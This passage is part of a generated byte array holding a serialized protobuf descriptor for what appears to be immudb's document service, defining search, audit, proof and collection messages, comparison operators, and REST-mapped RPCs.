0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f,\n\t0x6e, 0x52, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73,\n\t0x6f, 0x6e, 0x73, 0x3a, 0x18, 0x92, 0x41, 0x15, 0x0a, 0x13, 0xd2, 0x01, 0x10, 0x66, 0x69, 0x65,\n\t0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x22, 0xb5, 0x01,\n\t0x0a, 0x0f, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f,\n\t0x6e, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09,\n\t0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x3c, 0x0a, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61,\n\t0x74, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75,\n\t0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69,\n\t0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x6f, 0x70, 0x65,\n\t0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03,\n\t0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72,\n\t0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61,\n\t0x6c, 0x75, 0x65, 0x3a, 0x20, 0x92, 0x41, 0x1d, 0x0a, 0x1b, 0xd2, 0x01, 0x05, 0x66, 0x69, 0x65,\n\t0x6c, 0x64, 0xd2, 0x01, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0xd2, 0x01, 0x05,\n\t0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x4f, 0x0a, 0x0d, 0x4f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79,\n\t0x43, 0x6c, 0x61, 0x75, 0x73, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18,\n\t0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x12, 0x0a, 0x04,\n\t0x64, 0x65, 0x73, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63,\n\t0x3a, 0x14, 0x92, 0x41, 0x11, 0x0a, 0x0f, 0xd2, 0x01, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0xd2,\n\t0x01, 0x04, 0x64, 0x65, 0x73, 0x63, 0x22, 0x93, 0x01, 0x0a, 0x17, 0x53, 0x65, 0x61, 0x72, 0x63,\n\t0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e,\n\t0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x18, 0x01,\n\t0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x12, 0x3e,\n\t0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28,\n\t0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c,\n\t0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73,\n\t0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x3a, 0x1c,\n\t0x92, 0x41, 0x19, 0x0a, 0x17, 0xd2, 0x01, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64,\n\t0xd2, 0x01, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xc2, 0x02, 0x0a,\n\t0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73,\n\t0x69, 0x6f, 0x6e, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69,\n\t0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e,\n\t0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63,\n\t0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64,\n\t0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76,\n\t0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76,\n\t0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x3a, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74,\n\t0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62,\n\t0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x4d,\n\t0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74,\n\t0x61, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20,\n\t0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f,\n\t0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f,\n\t0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61,\n\t0x6d, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61,\n\t0x6d, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x07, 0x20, 0x01, 0x28, 0x03, 0x52, 0x02,\n\t0x74, 0x73, 0x3a, 0x2d, 0x92, 0x41, 0x2a, 0x0a, 0x28, 0xd2, 0x01, 0x0d, 0x74, 0x72, 0x61, 0x6e,\n\t0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0xd2, 0x01, 0x0a, 0x64, 0x6f, 0x63, 0x75,\n\t0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f,\n\t0x6e, 0x22, 0x3d, 0x0a, 0x10, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x65, 0x74,\n\t0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64,\n\t0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x3a,\n\t0x0f, 0x92, 0x41, 0x0c, 0x0a, 0x0a, 0xd2, 0x01, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64,\n\t0x22, 0x51, 0x0a, 0x15, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e,\n\t0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65,\n\t0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64,\n\t0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71,\n\t0x75, 0x65, 0x72, 0x79, 0x3a, 0x0d, 0x92, 0x41, 0x0a, 0x0a, 0x08, 0xd2, 0x01, 0x05, 0x71, 0x75,\n\t0x65, 0x72, 0x79, 0x22, 0x3d, 0x0a, 0x16, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75,\n\t0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x14, 0x0a,\n\t0x05, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x63, 0x6f,\n\t0x75, 0x6e, 0x74, 0x3a, 0x0d, 0x92, 0x41, 0x0a, 0x0a, 0x08, 0xd2, 0x01, 0x05, 0x63, 0x6f, 0x75,\n\t0x6e, 0x74, 0x22, 0x90, 0x02, 0x0a, 0x14, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75,\n\t0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63,\n\t0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20,\n\t0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e,\n\t0x61, 0x6d, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49,\n\t0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e,\n\t0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28,\n\t0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18,\n\t0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70,\n\t0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70,\n\t0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x6f, 0x6d, 0x69, 0x74, 0x50,\n\t0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x6f, 0x6d,\n\t0x69, 0x74, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x3a, 0x4a, 0x92, 0x41, 0x47, 0x0a, 0x45,\n\t0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d,\n\t0x65, 0xd2, 0x01, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01,\n\t0x04, 0x64, 0x65, 0x73, 0x63, 0xd2, 0x01, 0x04, 0x70, 0x61, 0x67, 0x65, 0xd2, 0x01, 0x08, 0x70,\n\t0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0xd2, 0x01, 0x0b, 0x6f, 0x6d, 0x69, 0x74, 0x50, 0x61,\n\t0x79, 0x6c, 0x6f, 0x61, 0x64, 0x22, 0x6a, 0x0a, 0x15, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f,\n\t0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e,\n\t0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28,\n\t0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c,\n\t0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73,\n\t0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x3a, 0x11,\n\t0x92, 0x41, 0x0e, 0x0a, 0x0c, 0xd2, 0x01, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e,\n\t0x73, 0x22, 0x8d, 0x02, 0x0a, 0x14, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d,\n\t0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f,\n\t0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01,\n\t0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61,\n\t0x6d, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64,\n\t0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74,\n\t0x49, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f,\n\t0x6e, 0x49, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73,\n\t0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x38, 0x0a, 0x17, 0x70, 0x72, 0x6f, 0x6f,\n\t0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f,\n\t0x6e, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66,\n\t0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e,\n\t0x49, 0x64, 0x3a, 0x4d, 0x92, 0x41, 0x4a, 0x0a, 0x48, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c,\n\t0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x0a, 0x64, 0x6f, 0x63,\n\t0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61,\n\t0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0xd2, 0x01, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53,\n\t0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49,\n\t0x64, 0x22, 0xce, 0x02, 0x0a, 0x15, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d,\n\t0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64,\n\t0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64,\n\t0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65,\n\t0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63,\n\t0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x30, 0x0a, 0x13, 0x64,\n\t0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61,\n\t0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65,\n\t0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a,\n\t0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74,\n\t0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44,\n\t0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66,\n\t0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e,\n\t0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65,\n\t0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65,\n\t0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x3a, 0x56, 0x92, 0x41, 0x53, 0x0a,\n\t0x51, 0xd2, 0x01, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0xd2, 0x01, 0x0c, 0x63,\n\t0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0xd2, 0x01, 0x13, 0x64, 0x6f,\n\t0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d,\n\t0x65, 0xd2, 0x01, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d,\n\t0x65, 0x6e, 0x74, 0xd2, 0x01, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65,\n\t0x54, 0x78, 0x2a, 0x47, 0x0a, 0x09, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x12,\n\t0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x42,\n\t0x4f, 0x4f, 0x4c, 0x45, 0x41, 0x4e, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45,\n\t0x47, 0x45, 0x52, 0x10, 0x02, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10,\n\t0x03, 0x12, 0x08, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x10, 0x04, 0x2a, 0x5c, 0x0a, 0x12, 0x43,\n\t0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f,\n\t0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10,\n\t0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10,\n\t0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10,\n\t0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x12, 0x0c, 0x0a, 0x08, 0x4e,\n\t0x4f, 0x54, 0x5f, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x07, 0x32, 0xf4, 0x13, 0x0a, 0x0f, 0x44, 0x6f,\n\t0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x8e, 0x01,\n\t0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69,\n\t0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65,\n\t0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69,\n\t0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75,\n\t0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43,\n\t0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73,\n\t0x65, 0x22, 0x2b, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74,\n\t0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x22, 0x12, 0x2f, 0x63, 0x6f, 0x6c,\n\t0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x12, 0x7f,\n\t0x0a, 0x0e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73,\n\t0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e,\n\t0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65,\n\t0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d,\n\t0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69,\n\t0x6f, 0x6e, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x22, 0x92, 0x41, 0x0b,\n\t0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02,\n\t0x0e, 0x12, 0x0c, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12,\n\t0x82, 0x01, 0x0a, 0x0d, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f,\n\t0x6e, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c,\n\t0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65,\n\t0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d,\n\t0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69,\n\t0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x92, 0x41, 0x0b, 0x0a,\n\t0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14,\n\t0x12, 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e,\n\t0x61, 0x6d, 0x65, 0x7d, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43,\n\t0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75,\n\t0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43,\n\t0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74,\n\t0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e,\n\t0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e,\n\t0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64,\n\t0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01,\n\t0x2a, 0x1a, 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 